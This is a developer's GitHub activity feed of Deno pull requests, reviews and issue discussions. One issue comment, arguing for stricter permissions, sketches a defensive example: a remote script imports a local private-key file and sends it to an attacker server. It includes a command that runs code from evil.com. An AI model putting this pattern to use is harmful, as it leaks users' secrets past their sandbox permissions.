profile
viewpoint
Kevin (Kun) "Kassimo" Qian kevinkassimo @google (intern) UCLA → Stanford ksm.sh Yes I AM an IDIOT. @google Software Engineering Intern 2018 / 2019; worked on @ampproject / Search. Contributor to Deno @denoland

startedrustwasm/wasm-pack

started time in 3 hours

PR opened torch2424/wasm-by-example

Fix small typo in introduction section

Fix trivial typo.

I'll probably do more spell check as I go through the sections. Thanks for the cool guide!

+2 -2

0 comment

1 changed file

pr created time in 3 days

create barnchkevinkassimo/wasm-by-example

branch : typo-1

created branch time in 3 days

fork kevinkassimo/wasm-by-example

Wasm By Example is a website with a set of hands-on introduction examples and tutorials for WebAssembly (Wasm)

https://wasmbyexample.dev/

fork in 3 days

startedtorch2424/wasm-by-example

started time in 3 days

startedmozilla/neqo

started time in 5 days

issue commentdenoland/deno

deno fetch fails when destination path can be file also directory

Panics here: https://github.com/denoland/deno/blob/4faab6a74b0f583bba5ebcc877c6ea1407d360e3/cli/file_fetcher.rs#L380-L386

https://dev.jspm.io/npm:scheduler@0.15?dew does not do any redirect. Instead it just serves a file. Thus in the cache file npm:scheduler@0.15 is created, prohibiting any attempt to create a folder of the same name. (thus exploding at npm:scheduler@0.15/tracing)

This feels more like the index.js/index.html scenario to me. Unfortunately jspm chooses direct serving instead of triggering redirect. I am worried that this might become a common problem at some point.

Maybe we should provide a fallback such that when we have a filename vs directory name collision, we move the file (thus making room for the directory) to another name which could still be accessed (e.g. npm:scheduler@0.15 file renamed to npm:schedular@0.15.index) and try look up this fallback filename every time when we cannot find a file. Whether to do such compromise is honestly debatable, but I am kind of anxious that this problem might be common enough at some point (since there is no required mapping between URL path and file path, and that there isn't really the required concept of directory or file when serving content)

Another side problem I notice here is that we do not put query params into cache paths (e.g. trailing ?dew is gone when saving local file). Servers obviously can choose to serve different content under different query. @bartlomieju do you think we should encode query as part of the file path? (I believe '?' is an invalid char in filenames on windows?)

keroxp

comment created time in 7 days

startedstimulusjs/stimulus

started time in 9 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 49d4632d4c41f9368655f49dd628e8a095e590cc

groupCollapsed alias to group, remove noTrailingNewline, move newline out of stringifyArgs, fix console.dir, add tests, and fix a repl log quirk For repl logging quirks, I believe we should not indent repl logging. If we really want such indentation, we probably also want to indent "> " prompts.

view details

push time in 10 days

Pull request review commentdenoland/deno

Implement console.trace()

 export class Console {     clearScreenDown(stdout);   }; +  trace = (...args: unknown[]): void => {+    const message = stringifyArgs(args, {+      indentLevel: this.indentLevel,+      collapsedAt: this.collapsedAt,+      noTrailingNewline: true

I reviewed the structure of console.ts and realized that there are some complexity introduced by console.groupCollapsed(). I believe the original intention of introducing it was to allow synchronous write, which is available now since we added File::writeSync.

Technically console.groupCollapsed() behavior we have is non-standard, as the definition of being collapsed refers to something like a dropdown. Node simply aliases groupCollapsed to group

kevinkassimo

comment created time in 10 days

Pull request review commentdenoland/deno

Implement console.trace()

 export class Console {     clearScreenDown(stdout);   }; +  trace = (...args: unknown[]): void => {+    const message = stringifyArgs(args, {+      indentLevel: this.indentLevel,+      collapsedAt: this.collapsedAt,+      noTrailingNewline: true

It is just that without this settings there will be a newline appended to message by stringifyArgs and thus leaving a blank line between message and trace on printing err.stack.

(There is definitely no specification saying this is not allow, just I feel it would be kind of ugly...)

kevinkassimo

comment created time in 10 days

PR opened denoland/deno

Implement console.trace()

Noticed that we have never implemented this. https://console.spec.whatwg.org/#trace

+31 -3

0 comment

2 changed files

pr created time in 10 days

create barnchkevinkassimo/deno

branch : console/trace

created branch time in 10 days

issue commentdenoland/deno

Remote modules should not be able to import absolute local modules ("file:///")

I would say that while "remote" modules are cached at local, they are conceptually a "snapshot" of an entity that does not reside on this machine -- like an always up-and-running server.

My understanding of the difference between remote and local files is that you give high trust to your local entity, while giving limited trust to remote entity. Importing a remote entity in your local entity downgrades your trust of the whole running process to that of remote entity.

A example security breach I have with file:// imports is like the follows: Suppose you want to use a script that helps you visit crawl some web data and display a summary to the terminal. Thus you do not want to give it any read or write permission to the local files, but only to net. And suppose you have a JS file that contains sensitive data:

// In practice I do know quite some people
// do this instead of using JSON files or env var
export const PRIV_KEY = "priv_key";

Then the evil remote script can just (statically, if we add remote allow-read perm restriction) import your local data and send as a network request to one of its server -- which you likely have to "trust" in cli flags. Notice that you never did grant ANY --allow-read of fs in the process, but local read still happens.

This is even worse when you just run directly a remote script without even writing imports yourself:

deno --allow-net=google.com,evil.com https://evil.com/cryptocurrency-price-summary.ts

If you are worried about inconveniences, I was thinking about if we could support dynamic import from data URLs (I'm not so sure if there are any proposals on this, doubt it). In that case, under read permission, you could request reading from a local file and construct the url for import, which both would go through read perm check. (Though it is debatable if the will be any actual feature request for such.)

I also start to think about the semantics of file:// in static import statements, since import resolution is conceptually different from resolution with read/write APIs. As servers are also technically machines, a file:/// import from the viewpoint of server itself should also be importing from its own root -- instead of from the client which might request to use the script. I would prefer static import to be always stable no matter which context it is under, from the base case I mentioned before about whether a file presents locally, to here whether the script is run from server itself, to on different clients. The possible difference in file:/// interpretations in static import with no chance of handling (thus fragile; while read/write APIs can) does not sound right to me.

ry

comment created time in 11 days

issue commentdenoland/deno

Typescript for deno

Hi, thanks for posting the project.

We also have a Deno chatroom at https://gitter.im/denolife/Lobby . Do you mind sharing it there? Since issue thread is mostly about tracking bugs and feature requests, while in the chatroom there are quite a few people working on Deno and Typescript stuff and would also allow easier discussion. Thanks!

johnsoncodehk

comment created time in 12 days

startedReactiveX/rxjs

started time in 12 days

startedgetify/A-Tale-Of-Three-Lists

started time in 12 days

issue commentdenoland/deno

Remote modules should not be able to import absolute local modules ("file:///")

I tend to feel both operations are necessary.

I do feel JSON files are more or less data files, and importing JSON files are conveniences for loading these data, which is why --allow-read sounds good to me.

In the meantime, I also feel importing any local files by a remote source sounds bad. Not just for the case of security (since there are still chances that people leave sensitive data in local files they never intend a remote script to import), but such ability also means that remote source would just crash on local source not found, making the dependence fragile: the same code might run or crash given the context of client without any chance of error handling (I'm mostly referring to static import, but the remote should not be able to tell if the user is doing static or dynamic anyways), instead of being self-contained (or appearing self-contained to the client if itself imports from third-party). IMHO it could be considered as an antipattern.

ry

comment created time in 12 days

issue commentdenoland/deno

tsconfig.json with comments

Serde json does not support comments: https://github.com/serde-rs/json/issues/168 https://github.com/hjson/hjson-rust do and is mentioned in that issue (hjson is a superset of JSON), but it also comes with extra stuff which I'm not sure if we should adopt

ConsoleTVs

comment created time in 12 days

pull request commentdenoland/deno_std

Bump deno version to 0.14.0 and update execPath usages

@bartlomieju Ahh okay. Did not notice that

kevinkassimo

comment created time in 12 days

PR opened denoland/deno_std

Bump deno version to 0.14.0 and update execPath usages

execPath is now a function and requires --allow-env

+12 -12

0 comment

10 changed files

pr created time in 12 days

create barnchkevinkassimo/deno_std

branch : bump/0.14.0

created branch time in 12 days

pull request commentdenoland/deno

Dynamic import should respect permissions

LGTM for this PR, though I do start to think if the capability of importing JSON with static import is also problematic at times. It is totally possible for people to deduce file locations with common system hierarchy (e.g. under /etc).

I feel like maybe we should also add a --no-json-import flag, or somehow find a way to ban remote files from importing from local filesystem (which is very likely to be doing no good)

ry

comment created time in 12 days

PR opened denoland/deno

Print error message and exit instead of panic for invalid tsconfig

For a bad tsconfig (invalid syntax, or with comments, this feature need to be supported later in a different PR),

Before:

$ deno --allow-net --config tsconfig.json server.ts
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: ErrBox(DenoError { kind: InvalidInput, msg: "Compiler config is not a valid JSON" })', src/libcore/result.rs:999:5
note: Run with `RUST_BACKTRACE=1` environment variable to display a backtrace.

After:

$ deno --allow-net --config tsconfig.json server.ts
Failed to start Deno: Compiler config is not a valid JSON
+11 -4

0 comment

1 changed file

pr created time in 12 days

push eventkevinkassimo/deno

Bartek Iwańczuk

commit sha 54982e948e882fbf413e06319f711d85b232026b

fix: cache paths on Windows are broken (#2760)

view details

Bartek Iwańczuk

commit sha 9bd473d8ac9228e483bd26028dbe7ba88e971c08

feat: print cache location when no arg in deno info (#2752)

view details

Kevin (Kun) Kassimo Qian

commit sha e28e7b544a287b4fb6eb7e764dbd9b1f436c1969

Print error message and exit instead of panic for invalid tsconfig

view details

push time in 12 days

create barnchkevinkassimo/deno

branch : tsconfig/no_panic

created branch time in 12 days

PR opened denoland/deno

Add permission settings for Worker creation options

Add allowRead, allowWrite, and allowNet options to DenoWorkerOptions. Each take an array of strings. If one of the strings is "*" or the option is ignored, the corresponding parent worker's permission would be inherited.

+325 -26

0 comment

14 changed files

pr created time in 13 days

create barnchkevinkassimo/deno

branch : worker/perm

created branch time in 13 days

issue commentdenoland/deno

Security: dynamic import needs --allow-net

Maybe time to reopen this?

qti3e

comment created time in 13 days

issue commentdenoland/deno

Deno script can read any JSON file anywhere on computer without prompt

I agree this is indeed a problem comparing to static imports. However currently our dynamic import callback is implemented in core/ which has no idea about the whitelists or permission flags, which resides in cli/. Maybe we could add a policy check callback to core/ that takes a string, default to predicate that always return true, and allows cli/ (worker) to overwrite it?

teleclimber

comment created time in 13 days

pull request commentdenoland/deno

WIP: Add Deno.hostname() method

I think if we are concerned about dependency we can probably just copy the code and maintain ourselves in the future (since it is a very small crate)

crabmusket

comment created time in 15 days

issue commentdenoland/deno

Worker relative path resolution always relative to cwd

Hmm I am still slightly in doubt, as this does not seem to actually address the nested worker case (they will always break the transparency and based on path of main module)

kevinkassimo

comment created time in 15 days

push eventkevinkassimo/deno

Kevin (Kun) "Kassimo" Qian

commit sha 6929aba71d5004f9d2ff1d6c2e6817b6dfb22c89

fix: display "-0" for -0 (#2281) Added special handling code in js/console.ts

view details

Ryan Dahl

commit sha 4648277fb4aa0f7258a316b8828a1175e3e2d132

Minor doc edits (#2231)

view details

Kevin (Kun) "Kassimo" Qian

commit sha 401a5c021141d4ba5a71078b28f6daefcd1826a6

feat: support .mjs extension resolution (#2283) Removed `extmap` and added .mjs entry in `map_file_extension`. The assert in the compiler does not need to be updated, since it is resolving from the compiled cache instead of elsewhere (notice the .map is asserted next to it)

view details

Kevin (Kun) "Kassimo" Qian

commit sha 36081171323e266760db8bed2f31a6e3be7d8839

feat(cli cmd): deno xeval (#2260)

view details

Bartek Iwańczuk

commit sha f6a9d7d7172df6422f895dcfe6f4267ad1b472da

add "deno run" subcommand (#2215)

view details

Ryan Dahl

commit sha 3b1e2f1ad42cfebb6f2568e54c82c5ac3c8fe3d4

v0.3.11

view details

Bartek Iwańczuk

commit sha 5824e55efa8312d6ce5f66741c7fb465c5d924e6

fix: deno version panic (#2286)

view details

Ryan Dahl

commit sha 2aae09c2b869bf5d0bc5fd269464e8ac504528ea

v0.4.0

view details

Vincent LE GOFF

commit sha 4861bb8aadf962bc9fe5093a13c3e08b77adeffd

add warning for adblockers (#2250)

view details

Bartek Iwańczuk

commit sha 482834ba1f9b33d12aab39e62d9e85b1ba2d63fb

update manual.md for deno v0.4.0 (#2291)

view details

Bartek Iwańczuk

commit sha 1f7ad17152c03b140c997590c897b89fbfea7cea

fix: Add all permissions to deno xeval (#2290)

view details

Yingbo (Max) Wang

commit sha ec9080f34c936d9af56cca68de664954053bf423

Add Deno.chown (#2292)

view details

Bartek Iwańczuk

commit sha ac8c6fec5bb2be97c8dbdb2286d2688575a593f2

Refactor unit test runner (#2294) Properly discovers the permissions needed for each test.

view details

andy finch

commit sha 2edee3367dc9003b721cf87ca57e820c7acf7b25

First pass at permissions whitelist (#2129)

view details

Kevin (Kun) "Kassimo" Qian

commit sha d9cdc6788b1ed89d7f3b2daf9da7e4a9f664e424

fix: support relative path for whitelisting (#2317) Using `std::fs::canonicalize` to expand path to full existing path, such that later attempt to loop-pop and compare path segment would work.

view details

Vincent LE GOFF

commit sha 07886a03cc913a15fa8e90034e80edeb41186c2c

[manual] fix example (#2307)

view details

Bartek Iwańczuk

commit sha 1fc61f3b6a32d30d3667855c4b2e4457f309ac87

core: Privatize ModuleNameMap SymbolicModule deno_buf (#2324)

view details

Bert Belder

commit sha 369a7ec94e191e2f4f72a12c9a9c0d0cb464e0c5

core: make PinnedBuf::Raw -> PinnedBuf conversion actually a move

view details

Bert Belder

commit sha c0341cb1af71ef35d60e984f6e17df535b8a4894

third_party: upgrade rust crates

view details

Ryan Dahl

commit sha cb93246f6d02c34306e7c9e9c567f96b9bffc875

Reorder benchmark page (#2314)

view details

push time in 15 days

PR opened denoland/deno

Fix dynamic import base path problem for REPL and eval

Closes #2756

Separated into 2 parts, since <anonymous> is not known to core crate (while <unknown> is known), and that <> would be escaped for URL paths, thus replaced with __anonymous.

We do not have a robust way to test REPL directly atm. Instead test on Deno.core.evalContext which is used by REPL.

+33 -3

0 comment

8 changed files

pr created time in 16 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha da518e7f6c4bf22837f617464d69267a5b1e80b9

Fix dynamic import base path problem for REPL and eval

view details

push time in 16 days

issue openeddenoland/deno

Dynamic import broken under REPL and deno eval

Assume mod.ts exists and with content export const mod = 1;

REPL:

$ deno
> import('./mod.ts').then(console.log)
Promise {}
> error: Uncaught TypeError: invalid base URL for relative import: relative URL without a base

deno eval:

$ deno eval "import('./mod.ts').then(console.log)"
error: Uncaught TypeError: invalid base URL for relative import: relative URL without a base

created time in 16 days

create barnchkevinkassimo/deno

branch : dyn_import/base_path

created branch time in 16 days

startedry/deno_snapshot

started time in 17 days

issue openeddenoland/deno

Worker relative path resolution always relative to cwd

This means for nested workers the path would still be relative to cwd, causing surprising behavior.

Current behavior example, running deno -A ./main.js:

./main.js:

new Worker("./workers/a.js");

./workers/a.js:

import "./mod.js"; // NOTICE that this is still working as expected.

console.log("a.js");
new Worker("./workers/b.js"); // NOTICE that this has to relative to CWD, aka `.` in our context, instead of `./b.js`
// This actually impacts all relative paths except for ones used in import statements.

./workers/b.js:

console.log("b.js");

./workers/mod.js:

console.log("mod.js");

Current behavior is at odds with static import module resolution as shown above.

Prior discussion in Node: https://github.com/nodejs/node/issues/21686

This behavior does not seem to happen in Chrome, in which case new Worker("./b.js"); would work correctly. (also Chrome still hides type: "module" behind a flag: https://crbug.com/680046)

(I personally believe Chrome's behavior is less surprising and allows the illusion that a Worker is its own entity, and I think making people confident in using third party script as a service under sandboxed environment (hiding Deno namespace) would be nice. We also want to be more web compatible)

created time in 18 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 787f138569e62e2c8c582688971358a7ad1ec019

Fix small execPath issues

view details

push time in 18 days

PR opened denoland/deno

Fix small execPath issues

Per https://github.com/denoland/deno/pull/2743#pullrequestreview-271642563 cc @nayeem-rahman

+4 -6

0 comment

1 changed file

pr created time in 18 days

create barnchkevinkassimo/deno

branch : os/exec_path_ooops

created branch time in 18 days

PR opened denoland/deno

Make Deno.execPath a function

Closes #2733

Need to update deno_std as well

+69 -26

0 comment

6 changed files

pr created time in 18 days

create barnchkevinkassimo/deno

branch : os/execpath_func

created branch time in 18 days

startedOctoLinker/OctoLinker

started time in 18 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha d047d254e7b383525c8195fac07cd10cdd8d1ee1

Small fix and add test

view details

push time in 18 days

Pull request review commentdenoland/deno

[NEED TESTS] Initial implementation of general user land signal handling (unix only)

 pub fn dispatch_all_legacy(       );       Op::Async(result_fut)     }+    Ok(Op::AsyncOptional(fut)) => {

Maybe I'm misunderstanding, but if both are marked as Op::Async I don't think Isolate will be able to tell if a future is optional when polling?

I kind of want to avoid manipulating Isolate directly from cli (and I'm not quite sure if changing return types of op selectors is a good idea). Also not sure about the counter part since no differentiation between things like enum types mean there is no way I could just decrement for required futures, unless we want to chain another step after the user provided future -- and thus also need to make the counter atomic

kevinkassimo

comment created time in 19 days

Pull request review commentdenoland/deno

[NEED TESTS] Initial implementation of general user land signal handling (unix only)

 pub type OpAsyncFuture<E> = Box<dyn Future<Item = Buf, Error = E> + Send>; pub enum Op<E> {   Sync(Buf),   Async(OpAsyncFuture<E>),+  AsyncOptional(OpAsyncFuture<E>),

The design of signal is by first calling SignalListen to add a signal stream to resources. Then signal is actually handled by repeatedly calling SignalPoll to wait for next poll of signal -- somewhat similar to what we do with TcpStream read. But unlike reading from TcpStream, the task registered by SignalPoll is optional, such that if all other required tasks has finished (pending_ops only contains optional ops), program would exit right away.

kevinkassimo

comment created time in 19 days

Pull request review commentdenoland/deno

[NEED TESTS] Initial implementation of general user land signal handling (unix only)

 pub fn dispatch_all_legacy(       );       Op::Async(result_fut)     }+    Ok(Op::AsyncOptional(fut)) => {

It actually act almost the same as Op::Async for this part, only that the result wrapping enum is different. I'll see a way if I could avoid duplicate code here

kevinkassimo

comment created time in 19 days

Pull request review commentdenoland/deno

[NEED TESTS] Initial implementation of general user land signal handling (unix only)

 pub type OpAsyncFuture<E> = Box<dyn Future<Item = Buf, Error = E> + Send>; pub enum Op<E> {   Sync(Buf),   Async(OpAsyncFuture<E>),+  AsyncOptional(OpAsyncFuture<E>),

It is a marker such that when later registering the op we can tell if the op is optional and should not block event loop exit (by later incrementing optional_ops_count on Isolate). It is used since I don't think there is some easier way to pass this bit of information down other than with a new enum (otherwise we need to change the signature of Async)

kevinkassimo

comment created time in 19 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha ea64545391166e23432b4ce3e65b10eb454e5f28

Make clippy happy

view details

push time in 19 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 298f8c1294565b8960a87083bf6fe21fa639172d

Ooops

view details

push time in 19 days

push eventdenolib/awesome-deno

McKayla Washburn

commit sha 3d0cc93bd45871903e8ad9e24a0ad2aba43b2d27

Add gardens to the list (#73) * Add gardens to the list * Remove styling and emoji * Fix redirects * Missed a word from the tagline

view details

push time in 19 days

PR merged denolib/awesome-deno

Add gardens to the list

Gardens is a logging utility I made with the goal of being able to run it everywhere. Deno has recently become a compatibility target for Gardens as I've had more of a desire to tinker with it lately, and all of my tests are passing in Deno as of this morning.

+3 -2

1 comment

1 changed file

partheseas

pr closed time in 19 days

issue commentdenoland/deno

Deno.execPath should raise permission denied unless allow-env set

Agree. I'll work on it tomorrow

ry

comment created time in 19 days

PR opened denoland/deno

[NEED TESTS] Initial implementation of general user land signal handling

Implement general signal handling sigaction(signo, handler).

Try it out with by pressing Ctrl-C when running this script (wait for TS compiler to finish compile first, since it is not immune to SIGINT):

Deno.sigaction(Deno.Signal.SIGINT, () => {
  console.log(">> SIGINT caught (1)");
});

Deno.sigaction(Deno.Signal.SIGINT, () => {
  console.log(">> SIGINT caught (2)");
});

console.log("sigaction() DEMO starts");

setTimeout(() => {
  console.log("DONE");
}, 5000)

Notice that signal handler would not block script from exiting after timeout, and multiple handlers could be registered.

Achieved by implementing optional Op type which does not prevent process exit.

Code is hacked up so needs much polishing after confirming the approach. API design feedback also needed.

Tests needed.

+318 -5

0 comment

9 changed files

pr created time in 19 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 9428fb15326730fbb3bff7b3b78a29aaa0d8f3f2

Initial implementation of general sigaction()

view details

push time in 19 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 6daecf7453855d5ecd4a64b4700cc7bb2d0cdfb0

Initial implementation of general sigaction()

view details

push time in 19 days

create barnchkevinkassimo/deno

branch : feat/sigaction

created branch time in 19 days

push eventpartheseas/awesome-deno

Kevin (Kun) "Kassimo" Qian

commit sha 02f52f001075f7e06219e40f8bc86775ecf3b664

Fix redirects

view details

push time in 19 days

push eventpartheseas/awesome-deno

Kevin (Kun) "Kassimo" Qian

commit sha 2caa16eb5767075e1d40bf65c99e487098e33820

Remove styling and emoji

view details

push time in 19 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 7c01f5527c329ccec1f4f64e6164fccaf9e50b47

Forgot to commit tests

view details

push time in 19 days

PR opened denoland/deno

Implement Blob url support for worker

Support worker creation using Blob URL.

Notice that it does not support static import statements (It seems to me that Chrome also does not support it with both blob url and data url?)

(Data URL version is left to implement later since there are more complications involved)

+109 -24

0 comment

5 changed files

pr created time in 19 days

create barnchkevinkassimo/deno

branch : worker/blob_url

created branch time in 19 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 4bc9bb3bc049b6e19c3aee562fce783bf3462e7d

Add doc

view details

push time in 20 days

Pull request review commentdenoland/deno

Provide option to delete Deno namespace in worker

+const w1 = new Worker("./tests/039_worker_deno_ns/has_ns.ts");+const w2 = new Worker("./tests/039_worker_deno_ns/no_ns.ts", {+  deno: { noDenoNamespace: true }

Done.

kevinkassimo

comment created time in 20 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 717fe729be6ab4fde2b0def30f36ed8bd360823a

Change deno.noDenoNamespace to noDenoNamespace

view details

push time in 20 days

pull request commentdenoland/deno

Provide option to delete Deno namespace in worker

I could imagine wanting to do something where you restrict permissions in the child worker - say limit network access...

Yeah sounds reasonable, though I do feel the sandboxing provided by this change is quite similar to the browser environment. Anyways we might experiment with that in another PR.

Also just added a basic integration test.

kevinkassimo

comment created time in 20 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha d4f063e0fb7e507755bbfe705bf2776a91f7c9f1

Add integration test

view details

push time in 20 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 715aab48461adf99b2067ff7086e1953a9f8e048

Provide option to delete Deno namespace in worker

view details

push time in 21 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 093a6ec0393f7d6fb16cc57ab0be383c3d48e3dd

Provide option to delete Deno namespace in worker

view details

push time in 21 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 98d0b91d741a5a36d4899a859efd76427c2d7d90

Provide option to delete Deno namespace in worker

view details

push time in 21 days

issue commentdenoland/deno

v8 change to QuickJS

Learned about QuickJS and seems very cool as an embeddable engine.

However, given current condition and focus I don't think anyone on the team will be investing any effort on this. QuickJS is currently highly unstable and not production ready (see bug reports in the mailing list), and it aims for a different goal than V8 (e.g. no JIT, see https://bellard.org/quickjs/bench.html for other some engines that matches QuickJS' target use cases). Deno also relies heavily on some V8 features (e.g. snapshots) and would take immense effort to port to another engine.

I suggest keeping an eye on https://github.com/saghul/qjsuv for now instead.

ChasLui

comment created time in 21 days

PR opened denoland/deno

[NEEDS TESTS] Provide option to delete Deno namespace in worker

Add an option to Worker creation such that worker could be sandboxed (no access to window.Deno namespace)

The condition is propagated (e.g. if a sandboxed worker tries to create another worker, it will always also be sandboxed)

This is achieved by adding a condition to per worker/isolate State and calling denoMain() with param whether to preserve or delete window.Deno

(The locations where things are attached/bounded to Deno or Deno.core is growing more nebulous. Maybe we need better comments for it)

Tests needed. Will try to add them after first-round review (to ensure no leaking of the namespace through other channels)

+72 -16

0 comment

11 changed files

pr created time in 21 days

create barnchkevinkassimo/deno

branch : worker/no_deno_namespace

created branch time in 21 days

PR opened denoland/deno

Enforce env permission on homeDir() and execPath

Closes #2713 .

Turning on allow_env check for Deno.homeDir(). Also set Deno.execPath to empty string if env is not turned on.

+40 -10

0 comment

4 changed files

pr created time in 21 days

push eventkevinkassimo/deno

Kevin (Kun) Kassimo Qian

commit sha 88ca5fd5499daedf488829d6b8f76b69239579de

Enforce env permission on homeDir() and execPath

view details

push time in 21 days

create barnchkevinkassimo/deno

branch : ops/home_dir_exec_path_env_perm

created branch time in 21 days

startedhashrock/deno-gifs

started time in 24 days

startedcutenode/1x.engineer

started time in a month

issue commentdenoland/deno

White outline on deno the dino for dark mode

Can we move this issue to https://github.com/denolib/animated-deno-logo ?

jorsi

comment created time in a month

startedsaghul/qjsuv

started time in a month

issue commentdenoland/deno

Consider `SourceFileFetcher` as separate struct

Personally I am more in favor factoring out a field DenoDir.remoteFetcher that does only "fetch" and no caching. The DenoDir coordinates interactions between fetcher and different caches and expose a transparent API that hides away the fact that the files might not present locally yet or the existence of a cache.

bartlomieju

comment created time in a month

issue openeddenoland/deno

Website benchmarks all data points becomes too many to be inspected

Ideally we should be able to change things like scale and range. This allows better review of past changes that impact performance.

created time in a month

pull request commentdenoland/deno

Remove v8::Locker from deno_respond

Also for this one: https://github.com/denoland/deno/blob/master/core/isolate.rs#L554 Do we need to hold the lock for the whole period of poll? (Haven't actually investigated myself)

afinch7

comment created time in a month

issue commentdenolib/qs

vs. URLSearchParams

https://github.com/ljharb/qs/issues/319

MarkTiedemann

comment created time in a month

issue commentdenoland/deno

deno cli: --no-fetch broken/missing

I reported this days ago in the Gitter chatroom. I believe we kind of forget to expose the flag

teleclimber

comment created time in a month

issue commenthorhof/quickjs

multiple QuickJS projects?

These are all non-official mirrors. The original program is created by Fabrice Bellard and he does not use Github

davidmoshal

comment created time in a month

starteddevsnek/node-wasi

started time in a month

startedIntrinsicLabs/osgood

started time in a month

Pull request review commentdenoland/deno

refactor: untangle cli/compiler.rs and cli/deno_dir.rs

 impl DenoDir {      let root: PathBuf = custom_root.unwrap_or(default);     let gen = root.as_path().join("gen");+    let gen_cache = DiskCache::new(&gen);     let deps = root.as_path().join("deps");-    let deps_http = deps.join("http");-    let deps_https = deps.join("https");--    // Internally within DenoDir, we use the config as part of the hash to-    // determine if a file has been transpiled with the same configuration, but-    // we have borrowed the `State` configuration, which we want to either clone-    // or create an empty `Vec` which we will use in our hash function.-    let config = match state_config {-      Some(config) => config.clone(),-      _ => b"".to_vec(),-    };+    let deps_cache = DiskCache::new(&deps);      let deno_dir = Self {       root,-      gen,-      deps,-      deps_http,-      deps_https,-      config,+      gen_cache,+      deps_cache,       progress,-      download_cache: DownloadCache::default(),+      source_file_cache: SourceFileCache::default(),     };      // TODO Lazily create these directories.-    deno_fs::mkdir(deno_dir.gen.as_ref(), 0o755, true)?;-    deno_fs::mkdir(deno_dir.deps.as_ref(), 0o755, true)?;-    deno_fs::mkdir(deno_dir.deps_http.as_ref(), 0o755, true)?;-    deno_fs::mkdir(deno_dir.deps_https.as_ref(), 0o755, true)?;+    // TODO: once saving and loading of SourceFiles uses DiskCache API these calls can be removed+    deno_fs::mkdir(deno_dir.deps_cache.location.as_ref(), 0o755, true)?;+    let deps_http = deps.join("http");+    let deps_https = deps.join("https");+    deno_fs::mkdir(deps_http.as_ref(), 0o755, true)?;+    deno_fs::mkdir(deps_https.as_ref(), 0o755, true)?;      debug!("root {}", deno_dir.root.display());-    debug!("gen {}", deno_dir.gen.display());-    debug!("deps {}", deno_dir.deps.display());-    debug!("deps_http {}", deno_dir.deps_http.display());-    debug!("deps_https {}", deno_dir.deps_https.display());+    debug!("deps {}", deno_dir.deps_cache.location.display());+    debug!("gen {}", deno_dir.gen_cache.location.display());      Ok(deno_dir)   } -  // https://github.com/denoland/deno/blob/golang/deno_dir.go#L32-L35-  pub fn cache_path(-    self: &Self,-    filepath: &Path,-    source_code: &[u8],-  ) -> (PathBuf, PathBuf) {-    let cache_key =-      source_code_hash(filepath, source_code, version::DENO, &self.config);-    (-      self.gen.join(cache_key.to_string() + ".js"),-      self.gen.join(cache_key.to_string() + ".js.map"),-    )+  /// This method returns local file path for given module url that is used+  /// internally by DenoDir to reference module.+  ///+  /// For specifiers starting with `file://` returns the input.+  ///+  /// For specifier starting with `http://` and `https://` it returns+  /// path to DenoDir dependency directory.+  pub fn url_to_deps_path(self: &Self, url: &Url) -> PathBuf {

Maybe delegate this task to the deps_cache? (still we could possibly leave a convenience wrapper here)

bartlomieju

comment created time in a month

Pull request review commentdenoland/deno

refactor: untangle cli/compiler.rs and cli/deno_dir.rs

 use std::sync::Mutex; use url; use url::Url; +#[derive(Debug, Clone)]+pub struct SourceFile {+  pub url: Url,+  pub redirect_source_url: Option<Url>,+  pub filename: PathBuf,+  pub media_type: msg::MediaType,+  pub source_code: Vec<u8>,+}++impl SourceFile {+  // TODO: this method should be implemented on CompiledSourceFile trait+  pub fn js_source(&self) -> String {+    if self.media_type == msg::MediaType::TypeScript {+      panic!("TypeScript module has no JS source, did you forget to run it through compiler?");+    }++    // TODO: this should be done by compiler and JS module should be returned+    if self.media_type == msg::MediaType::Json {+      return format!(+        "export default {};",+        str::from_utf8(&self.source_code).unwrap()+      );+    }++    // it's either JS or Unknown media type+    str::from_utf8(&self.source_code).unwrap().to_string()+  }+}++pub type SourceFileFuture =+  dyn Future<Item = SourceFile, Error = ErrBox> + Send;++pub trait SourceFileFetcher {+  fn check_if_supported_scheme(url: &Url) -> Result<(), ErrBox>;++  fn fetch_source_file_async(+    self: &Self,+    specifier: &ModuleSpecifier,+    use_cache: bool,+    no_fetch: bool,

no_fetch is confusing here (as the struct is named Fetcher). Maybe no_remote_fetch?

bartlomieju

comment created time in a month

Pull request review commentdenoland/deno

refactor: untangle cli/compiler.rs and cli/deno_dir.rs

 pub struct DenoDir {   // This is where we cache http resources. Example:   // /Users/rld/.deno/deps/github.com/ry/blah.js   pub gen: PathBuf,+  pub gen_cache: DiskCache,   // In the Go code this was called CacheDir.   // This is where we cache compilation outputs. Example:   // /Users/rld/.deno/gen/f39a473452321cacd7c346a870efb0e3e1264b43.js   pub deps: PathBuf,+  pub deps_cache: DiskCache,

+1 for deps/ + gen/ with similar directory hierarchy. I still believe putting generated files next to source is not the best idea as it would make certain behavior "magically not working".

Haven't reviewed the whole change but I even prefer to move .headers.json files into another meta/ directory.

bartlomieju

comment created time in a month

Pull request review commentdenoland/deno

Support window.onload

 export default function denoMain(name?: string): void {     replLoop();   } }++denoMain.triggerLoadEvent = triggerLoadEvent;

I think we need to at some point collect all private calls (e.g. window.workerMain, window.xevalMain) and this to a centralized location to avoid confusing users with other public ones. Maybe putting into window._$$deno so that they look like window._$$deno.triggerLoadEvent? (debating about the naming)

kt3k

comment created time in a month

Pull request review commentdenoland/deno

Support window.onload

